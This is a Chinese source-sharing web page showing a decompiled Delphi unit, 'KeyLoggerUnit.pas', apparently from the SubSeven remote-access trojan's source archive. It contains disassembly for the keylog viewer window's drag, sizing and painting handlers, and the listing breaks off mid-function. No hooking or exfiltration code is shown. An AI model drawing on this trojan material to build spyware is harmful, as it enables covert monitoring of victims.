开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Internet/网络编程 > 远程控制编程 > 查看源码
KeyLoggerUnit.pas
资源名称：subseven_src.zip　[点击查看]
上传用户：gdszzsp
上传日期：2007-01-08
资源大小：621k
文件大小：34k
源码类别：

远程控制编程

开发平台：

Delphi

KeyLoggerUnit.pas：源码内容
  1. unit KeyLoggerUnit;
  3. interface
  5. uses
  6.   Windows, Messages, SysUtils, Classes, Graphics,
  7.   Controls, Forms, Dialogs, StdCtrls;
  9. type
  10.   TKeylogger=class(TForm)
  11.     CaptionLabel: TLabel;
  12.     CloseButton: TFlatSpeedButton;
  13.     OutlookBtn1: TOutlookBtn;
  14.     OutlookBtn2: TOutlookBtn;
  15.     OutlookBtn3: TOutlookBtn;
  16.     keylog: TMemo;
  17.     FlatHint: TFlatHint;
  18.     SaveLoggedKeys: TSaveDialog;
  19.     procedure CaptionLabelMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  20.     procedure CaptionLabelMouseMove(Sender: TObject; Shift: TShiftState; X: Integer; Y: Integer);
  21.     procedure CaptionLabelMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  22.     procedure CloseButtonClick(Sender: TObject);
  23.     procedure FormCreate(Sender: TObject);
  24.     procedure FormPaint(Sender: TObject);
  25.     procedure FormResize(Sender: TObject);
  26.     procedure OutlookBtn1Click(Sender: TObject);
  27.     procedure OutlookBtn2Click(Sender: TObject);
  28.     procedure OutlookBtn3Click(Sender: TObject);
  29.   private
  30.     { Private declarations }
  31.   public
  32.     { Public declarations }
  33.   end ;
  35. var
  36.   Keylogger: TKeylogger;
  39. {This file is generated by DeDe v2.34 (c) 1999 by DaFixer}
  41. implementation
  43. {$R *.DFM}
  46. procedure TKeylogger.CaptionLabelMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  47. begin
  48. {
  49. 004CB470   55                     push    ebp
  50. 004CB471   8BEC                   mov     ebp, esp
  51. 004CB473   53                     push    ebx
  52. 004CB474   8BD8                   mov     ebx, eax
  53. 004CB476   8B83C4020000           mov     eax, [ebx+$02C4]
  54. 004CB47C   8B4024                 mov     eax, [eax+$24]
  55. 004CB47F   E85810F7FF             call    0043C4DC
  56. 004CB484   50                     push    eax
  58. * Reference to: SHBrowseForFolderA.SetCapture
  59. |
  60. 004CB485   E8EEC3F3FF             call    00407878
  61. 004CB48A   C783EC020000FFFFFFFF   mov     dword ptr [ebx+$02EC], $FFFFFFFF
  62. 004CB494   8B450C                 mov     eax, [ebp+$0C]
  63. 004CB497   8983E4020000           mov     [ebx+$02E4], eax
  64. 004CB49D   8B4508                 mov     eax, [ebp+$08]
  65. 004CB4A0   8983E8020000           mov     [ebx+$02E8], eax
  66. 004CB4A6   5B                     pop     ebx
  67. 004CB4A7   5D                     pop     ebp
  68. 004CB4A8   C20C                   ret     $0C
  71. }
  72.  end ; 
  74. procedure TKeylogger.CaptionLabelMouseMove(Sender: TObject; Shift: TShiftState; X: Integer; Y: Integer);
  75. begin
  76. {
  77. 004CB4AC   55                     push    ebp
  78. 004CB4AD   8BEC                   mov     ebp, esp
  79. 004CB4AF   53                     push    ebx
  80. 004CB4B0   56                     push    esi
  81. 004CB4B1   8BD8                   mov     ebx, eax
  82. 004CB4B3   83BBEC02000000         cmp     dword ptr [ebx+$02EC], +$00
  83. 004CB4BA   7433                   jz      004CB4EF
  84. 004CB4BC   8B83C4020000           mov     eax, [ebx+$02C4]
  85. 004CB4C2   8B7024                 mov     esi, [eax+$24]
  86. 004CB4C5   8B83E4020000           mov     eax, [ebx+$02E4]
  87. 004CB4CB   2B450C                 sub     eax, dword ptr [ebp+$0C]
  88. 004CB4CE   8B5630                 mov     edx, [esi+$30]
  89. 004CB4D1   2BD0                   sub     edx, eax
  90. 004CB4D3   8BC6                   mov     eax, esi
  91. 004CB4D5   E8D2A9F6FF             call    00435EAC
  92. 004CB4DA   8B83E8020000           mov     eax, [ebx+$02E8]
  93. 004CB4E0   2B4508                 sub     eax, dword ptr [ebp+$08]
  94. 004CB4E3   8B5634                 mov     edx, [esi+$34]
  95. 004CB4E6   2BD0                   sub     edx, eax
  96. 004CB4E8   8BC6                   mov     eax, esi
  97. 004CB4EA   E8E1A9F6FF             call    00435ED0
  98. 004CB4EF   5E                     pop     esi
  99. 004CB4F0   5B                     pop     ebx
  100. 004CB4F1   5D                     pop     ebp
  101. 004CB4F2   C208                   ret     $08
  104. }
  105.  end ; 
  107. procedure TKeylogger.CaptionLabelMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  108. begin
  109. {
  110. 004CB4F8   55                     push    ebp
  111. 004CB4F9   8BEC                   mov     ebp, esp
  112. 004CB4FB   53                     push    ebx
  113. 004CB4FC   56                     push    esi
  114. 004CB4FD   8BD8                   mov     ebx, eax
  115. 004CB4FF   83BBEC02000000         cmp     dword ptr [ebx+$02EC], +$00
  116. 004CB506   7440                   jz      004CB548
  117. 004CB508   8B83C4020000           mov     eax, [ebx+$02C4]
  118. 004CB50E   8B7024                 mov     esi, [eax+$24]
  120. * Reference to: SHBrowseForFolderA.ReleaseCapture
  121. |
  122. 004CB511   E812C3F3FF             call    00407828
  123. 004CB516   33C0                   xor     eax, eax
  124. 004CB518   8983EC020000           mov     [ebx+$02EC], eax
  125. 004CB51E   8B83E4020000           mov     eax, [ebx+$02E4]
  126. 004CB524   2B450C                 sub     eax, dword ptr [ebp+$0C]
  127. 004CB527   8B5630                 mov     edx, [esi+$30]
  128. 004CB52A   2BD0                   sub     edx, eax
  129. 004CB52C   8BC6                   mov     eax, esi
  130. 004CB52E   E879A9F6FF             call    00435EAC
  131. 004CB533   8B83E8020000           mov     eax, [ebx+$02E8]
  132. 004CB539   2B4508                 sub     eax, dword ptr [ebp+$08]
  133. 004CB53C   8B5634                 mov     edx, [esi+$34]
  134. 004CB53F   2BD0                   sub     edx, eax
  135. 004CB541   8BC6                   mov     eax, esi
  136. 004CB543   E888A9F6FF             call    00435ED0
  137. 004CB548   5E                     pop     esi
  138. 004CB549   5B                     pop     ebx
  139. 004CB54A   5D                     pop     ebp
  140. 004CB54B   C20C                   ret     $0C
  143. }
  144.  end ; 
  146. procedure TKeylogger.CloseButtonClick(Sender: TObject);
  147. begin
  148. {
  149. 004CB468   E80F46F8FF             call    0044FA7C
  150. 004CB46D   C3                     ret
  153. }
  154.  end ; 
  156. procedure TKeylogger.FormCreate(Sender: TObject);
  157. begin
  158. {
  159. 004CB1F0   55                     push    ebp
  160. 004CB1F1   8BEC                   mov     ebp, esp
  161. 004CB1F3   6A00                   push    $00
  162. 004CB1F5   6A00                   push    $00
  163. 004CB1F7   6A00                   push    $00
  164. 004CB1F9   53                     push    ebx
  165. 004CB1FA   56                     push    esi
  166. 004CB1FB   8BD8                   mov     ebx, eax
  167. 004CB1FD   8B35DC495400           mov     esi, [$5449DC]
  168. 004CB203   33C0                   xor     eax, eax
  169. 004CB205   55                     push    ebp
  170. 004CB206   682BB44C00             push    $004CB42B
  172. ***** TRY
  173. |
  174. 004CB20B   64FF30                 push    dword ptr fs:[eax]
  175. 004CB20E   648920                 mov     fs:[eax], esp
  176. 004CB211   C7430C06000000         mov     dword ptr [ebx+$0C], $00000006
  177. 004CB218   A1B44E5400             mov     eax, dword ptr [$544EB4]
  178. 004CB21D   8B00                   mov     eax, [eax]
  179. 004CB21F   E8A857F8FF             call    004509CC
  180. 004CB224   8BD0                   mov     edx, eax
  181. 004CB226   2B5338                 sub     edx, dword ptr [ebx+$38]
  182. 004CB229   D1FA                   sar     edx, 1
  183. 004CB22B   7903                   jns     004CB230
  184. 004CB22D   83D200                 adc     edx, +$00
  185. 004CB230   8BC3                   mov     eax, ebx
  186. 004CB232   E875ACF6FF             call    00435EAC
  187. 004CB237   A1B44E5400             mov     eax, dword ptr [$544EB4]
  188. 004CB23C   8B00                   mov     eax, [eax]
  189. 004CB23E   E87D57F8FF             call    004509C0
  190. 004CB243   8BD0                   mov     edx, eax
  191. 004CB245   2B533C                 sub     edx, dword ptr [ebx+$3C]
  192. 004CB248   D1FA                   sar     edx, 1
  193. 004CB24A   7903                   jns     004CB24F
  194. 004CB24C   83D200                 adc     edx, +$00
  195. 004CB24F   8BC3                   mov     eax, ebx
  196. 004CB251   E87AACF6FF             call    00435ED0
  197. 004CB256   8D55F8                 lea     edx, [ebp-$08]
  198. 004CB259   8B430C                 mov     eax, [ebx+$0C]
  199. 004CB25C   E80BDCF3FF             call    00408E6C
  200. 004CB261   8D45F8                 lea     eax, [ebp-$08]
  202. * Possible String Reference to: "_x"
  203. |
  204. 004CB264   BA40B44C00             mov     edx, $004CB440
  205. 004CB269   E8728CF3FF             call    00403EE0
  206. 004CB26E   8B55F8                 mov     edx, [ebp-$08]
  207. 004CB271   8D4DFC                 lea     ecx, [ebp-$04]
  208. 004CB274   8B06                   mov     eax, [esi]
  209. 004CB276   E8F9790400             call    00512C74
  210. 004CB27B   837DFC00               cmp     dword ptr [ebp-$04], +$00
  211. 004CB27F   7436                   jz      004CB2B7
  212. 004CB281   8D55F8                 lea     edx, [ebp-$08]
  213. 004CB284   8B430C                 mov     eax, [ebx+$0C]
  214. 004CB287   E8E0DBF3FF             call    00408E6C
  215. 004CB28C   8D45F8                 lea     eax, [ebp-$08]
  217. * Possible String Reference to: "_x"
  218. |
  219. 004CB28F   BA40B44C00             mov     edx, $004CB440
  220. 004CB294   E8478CF3FF             call    00403EE0
  221. 004CB299   8B55F8                 mov     edx, [ebp-$08]
  222. 004CB29C   8D4DFC                 lea     ecx, [ebp-$04]
  223. 004CB29F   8B06                   mov     eax, [esi]
  224. 004CB2A1   E8CE790400             call    00512C74
  225. 004CB2A6   8B45FC                 mov     eax, [ebp-$04]
  226. 004CB2A9   E822DCF3FF             call    00408ED0
  227. 004CB2AE   8BD0                   mov     edx, eax
  228. 004CB2B0   8BC3                   mov     eax, ebx
  229. 004CB2B2   E8F5ABF6FF             call    00435EAC
  230. 004CB2B7   8D55F8                 lea     edx, [ebp-$08]
  231. 004CB2BA   8B430C                 mov     eax, [ebx+$0C]
  232. 004CB2BD   E8AADBF3FF             call    00408E6C
  233. 004CB2C2   8D45F8                 lea     eax, [ebp-$08]
  235. * Possible String Reference to: "_y"
  236. |
  237. 004CB2C5   BA4CB44C00             mov     edx, $004CB44C
  238. 004CB2CA   E8118CF3FF             call    00403EE0
  239. 004CB2CF   8B55F8                 mov     edx, [ebp-$08]
  240. 004CB2D2   8D4DFC                 lea     ecx, [ebp-$04]
  241. 004CB2D5   8B06                   mov     eax, [esi]
  242. 004CB2D7   E898790400             call    00512C74
  243. 004CB2DC   837DFC00               cmp     dword ptr [ebp-$04], +$00
  244. 004CB2E0   7436                   jz      004CB318
  245. 004CB2E2   8D55F8                 lea     edx, [ebp-$08]
  246. 004CB2E5   8B430C                 mov     eax, [ebx+$0C]
  247. 004CB2E8   E87FDBF3FF             call    00408E6C
  248. 004CB2ED   8D45F8                 lea     eax, [ebp-$08]
  250. * Possible String Reference to: "_y"
  251. |
  252. 004CB2F0   BA4CB44C00             mov     edx, $004CB44C
  253. 004CB2F5   E8E68BF3FF             call    00403EE0
  254. 004CB2FA   8B55F8                 mov     edx, [ebp-$08]
  255. 004CB2FD   8D4DFC                 lea     ecx, [ebp-$04]
  256. 004CB300   8B06                   mov     eax, [esi]
  257. 004CB302   E86D790400             call    00512C74
  258. 004CB307   8B45FC                 mov     eax, [ebp-$04]
  259. 004CB30A   E8C1DBF3FF             call    00408ED0
  260. 004CB30F   8BD0                   mov     edx, eax
  261. 004CB311   8BC3                   mov     eax, ebx
  262. 004CB313   E8B8ABF6FF             call    00435ED0
  263. 004CB318   8D55F8                 lea     edx, [ebp-$08]
  264. 004CB31B   8B430C                 mov     eax, [ebx+$0C]
  265. 004CB31E   E849DBF3FF             call    00408E6C
  266. 004CB323   8D45F8                 lea     eax, [ebp-$08]
  268. * Possible String Reference to: "_h"
  269. |
  270. 004CB326   BA58B44C00             mov     edx, $004CB458
  271. 004CB32B   E8B08BF3FF             call    00403EE0
  272. 004CB330   8B55F8                 mov     edx, [ebp-$08]
  273. 004CB333   8D4DFC                 lea     ecx, [ebp-$04]
  274. 004CB336   8B06                   mov     eax, [esi]
  275. 004CB338   E837790400             call    00512C74
  276. 004CB33D   837DFC00               cmp     dword ptr [ebp-$04], +$00
  277. 004CB341   7436                   jz      004CB379
  278. 004CB343   8D55F8                 lea     edx, [ebp-$08]
  279. 004CB346   8B430C                 mov     eax, [ebx+$0C]
  280. 004CB349   E81EDBF3FF             call    00408E6C
  281. 004CB34E   8D45F8                 lea     eax, [ebp-$08]
  283. * Possible String Reference to: "_h"
  284. |
  285. 004CB351   BA58B44C00             mov     edx, $004CB458
  286. 004CB356   E8858BF3FF             call    00403EE0
  287. 004CB35B   8B55F8                 mov     edx, [ebp-$08]
  288. 004CB35E   8D4DFC                 lea     ecx, [ebp-$04]
  289. 004CB361   8B06                   mov     eax, [esi]
  290. 004CB363   E80C790400             call    00512C74
  291. 004CB368   8B45FC                 mov     eax, [ebp-$04]
  292. 004CB36B   E860DBF3FF             call    00408ED0
  293. 004CB370   8BD0                   mov     edx, eax
  294. 004CB372   8BC3                   mov     eax, ebx
  295. 004CB374   E8A3ABF6FF             call    00435F1C
  296. 004CB379   8D55F8                 lea     edx, [ebp-$08]
  297. 004CB37C   8B430C                 mov     eax, [ebx+$0C]
  298. 004CB37F   E8E8DAF3FF             call    00408E6C
  299. 004CB384   8D45F8                 lea     eax, [ebp-$08]
  301. * Possible String Reference to: "_w"
  302. |
  303. 004CB387   BA64B44C00             mov     edx, $004CB464
  304. 004CB38C   E84F8BF3FF             call    00403EE0
  305. 004CB391   8B55F8                 mov     edx, [ebp-$08]
  306. 004CB394   8D4DFC                 lea     ecx, [ebp-$04]
  307. 004CB397   8B06                   mov     eax, [esi]
  308. 004CB399   E8D6780400             call    00512C74
  309. 004CB39E   837DFC00               cmp     dword ptr [ebp-$04], +$00
  310. 004CB3A2   7436                   jz      004CB3DA
  311. 004CB3A4   8D55F8                 lea     edx, [ebp-$08]
  312. 004CB3A7   8B430C                 mov     eax, [ebx+$0C]
  313. 004CB3AA   E8BDDAF3FF             call    00408E6C
  314. 004CB3AF   8D45F8                 lea     eax, [ebp-$08]
  316. * Possible String Reference to: "_w"
  317. |
  318. 004CB3B2   BA64B44C00             mov     edx, $004CB464
  319. 004CB3B7   E8248BF3FF             call    00403EE0
  320. 004CB3BC   8B55F8                 mov     edx, [ebp-$08]
  321. 004CB3BF   8D4DFC                 lea     ecx, [ebp-$04]
  322. 004CB3C2   8B06                   mov     eax, [esi]
  323. 004CB3C4   E8AB780400             call    00512C74
  324. 004CB3C9   8B45FC                 mov     eax, [ebp-$04]
  325. 004CB3CC   E8FFDAF3FF             call    00408ED0
  326. 004CB3D1   8BD0                   mov     edx, eax
  327. 004CB3D3   8BC3                   mov     eax, ebx
  328. 004CB3D5   E81EABF6FF             call    00435EF8
  329. 004CB3DA   8BC3                   mov     eax, ebx
  330. 004CB3DC   E88FFCFFFF             call    004CB070
  331. 004CB3E1   8D55F4                 lea     edx, [ebp-$0C]
  332. 004CB3E4   8B83C4020000           mov     eax, [ebx+$02C4]
  333. 004CB3EA   E801B3F6FF             call    004366F0
  334. 004CB3EF   8B55F4                 mov     edx, [ebp-$0C]
  335. 004CB3F2   8BC3                   mov     eax, ebx
  336. 004CB3F4   E827B3F6FF             call    00436720
  337. 004CB3F9   8B06                   mov     eax, [esi]
  338. 004CB3FB   8A9085000000           mov     dl, byte ptr [eax+$0085]
  339. 004CB401   8BC3                   mov     eax, ebx
  340. 004CB403   E82CB4F6FF             call    00436834
  341. 004CB408   33C0                   xor     eax, eax
  342. 004CB40A   5A                     pop     edx
  343. 004CB40B   59                     pop     ecx
  344. 004CB40C   59                     pop     ecx
  345. 004CB40D   648910                 mov     fs:[eax], edx
  347. ****** FINALLY
  348. |
  349. 004CB410   6832B44C00             push    $004CB432
  350. 004CB415   8D45F4                 lea     eax, [ebp-$0C]
  351. 004CB418   E83F88F3FF             call    00403C5C
  352. 004CB41D   8D45F8                 lea     eax, [ebp-$08]
  353. 004CB420   BA02000000             mov     edx, $00000002
  354. 004CB425   E85688F3FF             call    00403C80
  355. 004CB42A   C3                     ret
  357. 004CB42B   E93082F3FF             jmp     00403660
  358. 004CB430   EBE3                   jmp     004CB415
  360. ****** END
  361. |
  362. 004CB432   5E                     pop     esi
  363. 004CB433   5B                     pop     ebx
  364. 004CB434   8BE5                   mov     esp, ebp
  365. 004CB436   5D                     pop     ebp
  366. 004CB437   C3                     ret
  369. }
  370.  end ; 
  372. procedure TKeylogger.FormPaint(Sender: TObject);
  373. begin
  374. {
  375. 004CB648   53                     push    ebx
  376. 004CB649   56                     push    esi
  377. 004CB64A   57                     push    edi
  378. 004CB64B   55                     push    ebp
  379. 004CB64C   83C4E0                 add     esp, -$20
  380. 004CB64F   8BD8                   mov     ebx, eax
  381. 004CB651   8B2DDC495400           mov     ebp, [$5449DC]
  382. 004CB657   8B733C                 mov     esi, [ebx+$3C]
  383. 004CB65A   83EE05                 sub     esi, +$05
  384. 004CB65D   83EE18                 sub     esi, +$18
  385. 004CB660   7C5D                   jl      004CB6BF
  386. 004CB662   46                     inc     esi
  387. 004CB663   BF18000000             mov     edi, $00000018
  388. 004CB668   6A01                   push    $01
  389. 004CB66A   8D442404               lea     eax, [esp+$04]
  390. 004CB66E   50                     push    eax
  391. 004CB66F   B904000000             mov     ecx, $00000004
  392. 004CB674   BA1A000000             mov     edx, $0000001A
  393. 004CB679   B801000000             mov     eax, $00000001
  394. 004CB67E   E8BD52F4FF             call    00410940
  395. 004CB683   54                     push    esp
  396. 004CB684   6A01                   push    $01
  397. 004CB686   8D442418               lea     eax, [esp+$18]
  398. 004CB68A   50                     push    eax
  399. 004CB68B   B904000000             mov     ecx, $00000004
  400. 004CB690   8BD7                   mov     edx, edi
  401. 004CB692   33C0                   xor     eax, eax
  402. 004CB694   E8A752F4FF             call    00410940
  403. 004CB699   8D442414               lea     eax, [esp+$14]
  404. 004CB69D   50                     push    eax
  405. 004CB69E   8B4500                 mov     eax, [ebp+$00]
  406. 004CB6A1   8B80E80A0000           mov     eax, [eax+$0AE8]
  407. 004CB6A7   E8E47CF5FF             call    00423390
  408. 004CB6AC   50                     push    eax
  409. 004CB6AD   8BC3                   mov     eax, ebx
  410. 004CB6AF   E84C1EF8FF             call    0044D500
  411. 004CB6B4   59                     pop     ecx
  412. 004CB6B5   5A                     pop     edx
  413. 004CB6B6   E89129F5FF             call    0041E04C
  414. 004CB6BB   47                     inc     edi
  415. 004CB6BC   4E                     dec     esi
  416. 004CB6BD   75A9                   jnz     004CB668
  417. 004CB6BF   8B733C                 mov     esi, [ebx+$3C]
  418. 004CB6C2   83EE05                 sub     esi, +$05
  419. 004CB6C5   83EE18                 sub     esi, +$18
  420. 004CB6C8   7C61                   jl      004CB72B
  421. 004CB6CA   46                     inc     esi
  422. 004CB6CB   BF18000000             mov     edi, $00000018
  423. 004CB6D0   6A01                   push    $01
  424. 004CB6D2   8D442404               lea     eax, [esp+$04]
  425. 004CB6D6   50                     push    eax
  426. 004CB6D7   B904000000             mov     ecx, $00000004
  427. 004CB6DC   BA1A000000             mov     edx, $0000001A
  428. 004CB6E1   B830000000             mov     eax, $00000030
  429. 004CB6E6   E85552F4FF             call    00410940
  430. 004CB6EB   54                     push    esp
  431. 004CB6EC   6A01                   push    $01
  432. 004CB6EE   8D442418               lea     eax, [esp+$18]
  433. 004CB6F2   50                     push    eax
  434. 004CB6F3   8B4338                 mov     eax, [ebx+$38]
  435. 004CB6F6   83E804                 sub     eax, +$04
  436. 004CB6F9   B904000000             mov     ecx, $00000004
  437. 004CB6FE   8BD7                   mov     edx, edi
  438. 004CB700   E83B52F4FF             call    00410940
  439. 004CB705   8D442414               lea     eax, [esp+$14]
  440. 004CB709   50                     push    eax
  441. 004CB70A   8B4500                 mov     eax, [ebp+$00]
  442. 004CB70D   8B80E80A0000           mov     eax, [eax+$0AE8]
  443. 004CB713   E8787CF5FF             call    00423390
  444. 004CB718   50                     push    eax
  445. 004CB719   8BC3                   mov     eax, ebx
  446. 004CB71B   E8E01DF8FF             call    0044D500
  447. 004CB720   59                     pop     ecx
  448. 004CB721   5A                     pop     edx
  449. 004CB722   E82529F5FF             call    0041E04C
  450. 004CB727   47                     inc     edi
  451. 004CB728   4E                     dec     esi
  452. 004CB729   75A5                   jnz     004CB6D0
  453. 004CB72B   8B7338                 mov     esi, [ebx+$38]
  454. 004CB72E   83EE18                 sub     esi, +$18
  455. 004CB731   83EE18                 sub     esi, +$18
  456. 004CB734   7C5D                   jl      004CB793
  457. 004CB736   46                     inc     esi
  458. 004CB737   BF18000000             mov     edi, $00000018
  459. 004CB73C   6A18                   push    $18
  460. 004CB73E   8D442404               lea     eax, [esp+$04]
  461. 004CB742   50                     push    eax
  462. 004CB743   B901000000             mov     ecx, $00000001
  463. 004CB748   BA01000000             mov     edx, $00000001
  464. 004CB74D   B81A000000             mov     eax, $0000001A
  465. 004CB752   E8E951F4FF             call    00410940
  466. 004CB757   54                     push    esp
  467. 004CB758   6A18                   push    $18
  468. 004CB75A   8D442418               lea     eax, [esp+$18]
  469. 004CB75E   50                     push    eax
  470. 004CB75F   B901000000             mov     ecx, $00000001
  471. 004CB764   33D2                   xor     edx, edx
  472. 004CB766   8BC7                   mov     eax, edi
  473. 004CB768   E8D351F4FF             call    00410940
  474. 004CB76D   8D442414               lea     eax, [esp+$14]
  475. 004CB771   50                     push    eax
  476. 004CB772   8B4500                 mov     eax, [ebp+$00]
  477. 004CB775   8B80E80A0000           mov     eax, [eax+$0AE8]
  478. 004CB77B   E8107CF5FF             call    00423390
  479. 004CB780   50                     push    eax
  480. 004CB781   8BC3                   mov     eax, ebx
  481. 004CB783   E8781DF8FF             call    0044D500
  482. 004CB788   59                     pop     ecx
  483. 004CB789   5A                     pop     edx
  484. 004CB78A   E8BD28F5FF             call    0041E04C
  485. 004CB78F   47                     inc     edi
  486. 004CB790   4E                     dec     esi
  487. 004CB791   75A9                   jnz     004CB73C
  488. 004CB793   8B7338                 mov     esi, [ebx+$38]
  489. 004CB796   83EE04                 sub     esi, +$04
  490. 004CB799   83EE04                 sub     esi, +$04
  491. 004CB79C   7C61                   jl      004CB7FF
  492. 004CB79E   46                     inc     esi
  493. 004CB79F   BF04000000             mov     edi, $00000004
  494. 004CB7A4   6A04                   push    $04
  495. 004CB7A6   8D442404               lea     eax, [esp+$04]
  496. 004CB7AA   50                     push    eax
  497. 004CB7AB   B901000000             mov     ecx, $00000001
  498. 004CB7B0   BA1C000000             mov     edx, $0000001C
  499. 004CB7B5   B81A000000             mov     eax, $0000001A
  500. 004CB7BA   E88151F4FF             call    00410940
  501. 004CB7BF   54                     push    esp
  502. 004CB7C0   6A04                   push    $04
  503. 004CB7C2   8D442418               lea     eax, [esp+$18]
  504. 004CB7C6   50                     push    eax
  505. 004CB7C7   8B533C                 mov     edx, [ebx+$3C]
  506. 004CB7CA   83EA04                 sub     edx, +$04
  507. 004CB7CD   B901000000             mov     ecx, $00000001
  508. 004CB7D2   8BC7                   mov     eax, edi
  509. 004CB7D4   E86751F4FF             call    00410940
  510. 004CB7D9   8D442414               lea     eax, [esp+$14]
  511. 004CB7DD   50                     push    eax
  512. 004CB7DE   8B4500                 mov     eax, [ebp+$00]
  513. 004CB7E1   8B80E80A0000           mov     eax, [eax+$0AE8]
  514. 004CB7E7   E8A47BF5FF             call    00423390
  515. 004CB7EC   50                     push    eax
  516. 004CB7ED   8BC3                   mov     eax, ebx
  517. 004CB7EF   E80C1DF8FF             call    0044D500
  518. 004CB7F4   59                     pop     ecx
  519. 004CB7F5   5A                     pop     edx
  520. 004CB7F6   E85128F5FF             call    0041E04C
  521. 004CB7FB   47                     inc     edi
  522. 004CB7FC   4E                     dec     esi
  523. 004CB7FD   75A5                   jnz     004CB7A4
  524. 004CB7FF   6A18                   push    $18
  525. 004CB801   8D442404               lea     eax, [esp+$04]
  526. 004CB805   50                     push    eax
  527. 004CB806   B918000000             mov     ecx, $00000018
  528. 004CB80B   BA01000000             mov     edx, $00000001
  529. 004CB810   B801000000             mov     eax, $00000001
  530. 004CB815   E82651F4FF             call    00410940
  531. 004CB81A   54                     push    esp
  532. 004CB81B   6A18                   push    $18
  533. 004CB81D   8D442418               lea     eax, [esp+$18]
  534. 004CB821   50                     push    eax
  535. 004CB822   B918000000             mov     ecx, $00000018
  536. 004CB827   33D2                   xor     edx, edx
  537. 004CB829   33C0                   xor     eax, eax
  538. 004CB82B   E81051F4FF             call    00410940
  539. 004CB830   8D442414               lea     eax, [esp+$14]
  540. 004CB834   50                     push    eax
  541. 004CB835   8B4500                 mov     eax, [ebp+$00]
  542. 004CB838   8B80E80A0000           mov     eax, [eax+$0AE8]
  543. 004CB83E   E84D7BF5FF             call    00423390
  544. 004CB843   50                     push    eax
  545. 004CB844   8BC3                   mov     eax, ebx
  546. 004CB846   E8B51CF8FF             call    0044D500
  547. 004CB84B   59                     pop     ecx
  548. 004CB84C   5A                     pop     edx
  549. 004CB84D   E8FA27F5FF             call    0041E04C
  550. 004CB852   6A18                   push    $18
  551. 004CB854   8D442404               lea     eax, [esp+$04]
  552. 004CB858   50                     push    eax
  553. 004CB859   B918000000             mov     ecx, $00000018
  554. 004CB85E   BA01000000             mov     edx, $00000001
  555. 004CB863   B81C000000             mov     eax, $0000001C
  556. 004CB868   E8D350F4FF             call    00410940
  557. 004CB86D   54                     push    esp
  558. 004CB86E   6A18                   push    $18
  559. 004CB870   8D442418               lea     eax, [esp+$18]
  560. 004CB874   50                     push    eax
  561. 004CB875   8B4338                 mov     eax, [ebx+$38]
  562. 004CB878   83E818                 sub     eax, +$18
  563. 004CB87B   B918000000             mov     ecx, $00000018
  564. 004CB880   33D2                   xor     edx, edx
  565. 004CB882   E8B950F4FF             call    00410940
  566. 004CB887   8D442414               lea     eax, [esp+$14]
  567. 004CB88B   50                     push    eax
  568. 004CB88C   8B4500                 mov     eax, [ebp+$00]
  569. 004CB88F   8B80E80A0000           mov     eax, [eax+$0AE8]
  570. 004CB895   E8F67AF5FF             call    00423390
  571. 004CB89A   50                     push    eax
  572. 004CB89B   8BC3                   mov     eax, ebx
  573. 004CB89D   E85E1CF8FF             call    0044D500
  574. 004CB8A2   59                     pop     ecx
  575. 004CB8A3   5A                     pop     edx
  576. 004CB8A4   E8A327F5FF             call    0041E04C
  577. 004CB8A9   6A04                   push    $04
  578. 004CB8AB   8D442404               lea     eax, [esp+$04]
  579. 004CB8AF   50                     push    eax
  580. 004CB8B0   B904000000             mov     ecx, $00000004
  581. 004CB8B5   BA1C000000             mov     edx, $0000001C
  582. 004CB8BA   B801000000             mov     eax, $00000001
  583. 004CB8BF   E87C50F4FF             call    00410940
  584. 004CB8C4   54                     push    esp
  585. 004CB8C5   6A04                   push    $04
  586. 004CB8C7   8D442418               lea     eax, [esp+$18]
  587. 004CB8CB   50                     push    eax
  588. 004CB8CC   8B533C                 mov     edx, [ebx+$3C]
  589. 004CB8CF   83EA04                 sub     edx, +$04
  590. 004CB8D2   B904000000             mov     ecx, $00000004
  591. 004CB8D7   33C0                   xor     eax, eax
  592. 004CB8D9   E86250F4FF             call    00410940
  593. 004CB8DE   8D442414               lea     eax, [esp+$14]
  594. 004CB8E2   50                     push    eax
  595. 004CB8E3   8B4500                 mov     eax, [ebp+$00]
  596. 004CB8E6   8B80E80A0000           mov     eax, [eax+$0AE8]
  597. 004CB8EC   E89F7AF5FF             call    00423390
  598. 004CB8F1   50                     push    eax
  599. 004CB8F2   8BC3                   mov     eax, ebx
  600. 004CB8F4   E8071CF8FF             call    0044D500
  601. 004CB8F9   59                     pop     ecx
  602. 004CB8FA   5A                     pop     edx
  603. 004CB8FB   E84C27F5FF             call    0041E04C
  604. 004CB900   6A04                   push    $04
  605. 004CB902   8D442404               lea     eax, [esp+$04]
  606. 004CB906   50                     push    eax
  607. 004CB907   B904000000             mov     ecx, $00000004
  608. 004CB90C   BA1C000000             mov     edx, $0000001C
  609. 004CB911   B830000000             mov     eax, $00000030
  610. 004CB916   E82550F4FF             call    00410940
  611. 004CB91B   54                     push    esp
  612. 004CB91C   6A04                   push    $04
  613. 004CB91E   8D442418               lea     eax, [esp+$18]
  614. 004CB922   50                     push    eax
  615. 004CB923   8B533C                 mov     edx, [ebx+$3C]
  616. 004CB926   83EA04                 sub     edx, +$04
  617. 004CB929   8B4338                 mov     eax, [ebx+$38]
  618. 004CB92C   83E804                 sub     eax, +$04
  619. 004CB92F   B904000000             mov     ecx, $00000004
  620. 004CB934   E80750F4FF             call    00410940
  621. 004CB939   8D442414               lea     eax, [esp+$14]
  622. 004CB93D   50                     push    eax
  623. 004CB93E   8B4500                 mov     eax, [ebp+$00]
  624. 004CB941   8B80E80A0000           mov     eax, [eax+$0AE8]
  625. 004CB947   E8447AF5FF             call    00423390
  626. 004CB94C   50                     push    eax
  627. 004CB94D   8BC3                   mov     eax, ebx
  628. 004CB94F   E8AC1BF8FF             call    0044D500
  629. 004CB954   59                     pop     ecx
  630. 004CB955   5A                     pop     edx
  631. 004CB956   E8F126F5FF             call    0041E04C
  632. 004CB95B   8BC3                   mov     eax, ebx
  633. 004CB95D   E89E1BF8FF             call    0044D500
  634. 004CB962   8B4014                 mov     eax, [eax+$14]
  635. 004CB965   8B5500                 mov     edx, [ebp+$00]
  636. 004CB968   8B92180B0000           mov     edx, [edx+$0B18]
  637. 004CB96E   E8A921F5FF             call    0041DB1C
